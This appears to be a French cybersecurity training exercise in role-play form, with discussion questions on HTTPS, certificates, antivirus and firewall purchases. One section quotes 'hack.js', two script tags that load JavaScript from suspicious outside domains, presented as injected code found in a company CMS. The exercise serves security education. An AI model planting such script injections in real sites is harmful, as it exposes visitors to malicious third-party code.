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Jeu de rôle

Vous voici devenu dirigeant d’une petite société et vous devez non
seulement protéger votre entreprise des hackers mais aussi veiller à

sa bonne gestion et fonctionnement.
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S comme sécurisé . . .

Votre meilleur ami vous indique qu’à partir du moment ou l’url
d’un site est en https, il n’y a aucun risque à naviguer dessus.
Parole de scout !

Êtes-vous d’accord avec lui ?
Puis-je m’auto-certifier ?
Quels sont les différents niveaux de certificats existants ?
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Anti-virus

Un commercial, forcément bien attentionné envers votre société,
vous propose d’acquérir un antivirus dernier cri utilisant de
l’Intelligence Artificielle Comportementale . . .

Quel scénario devez vous proposer au commercial pour vous
assurer que l’anti-virus ne vous posera pas de problèmes ?
Quels sont les moyens à utiliser pour vous protéger ?
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Question d’image . . .

Une white hat vous indique que votre site Web, un superbe CMS
(Content Management System) contient des requêtes qui ne sont
pas très correcte ...

hack.js
<script src="https://cdn-mxpnl.com/addons/lnkr5.min.js" type="text/javascript"></script>
<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid

=52249x7181x&amp;r=35" type="text/javascript"></script>

Que devez-vous faire ?
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Firewall

Un commercial, forcément bien attentionné envers votre société,
vous propose d’acquérir un firewall dernier cri qui utilise du DPI
(Deep Packet Inspection) que vous serez à l’abri d’une attaque
même interne !

Quel scénario devez-vous proposer au commercial pour vous
assurer que le firewall fera bien son travail ?
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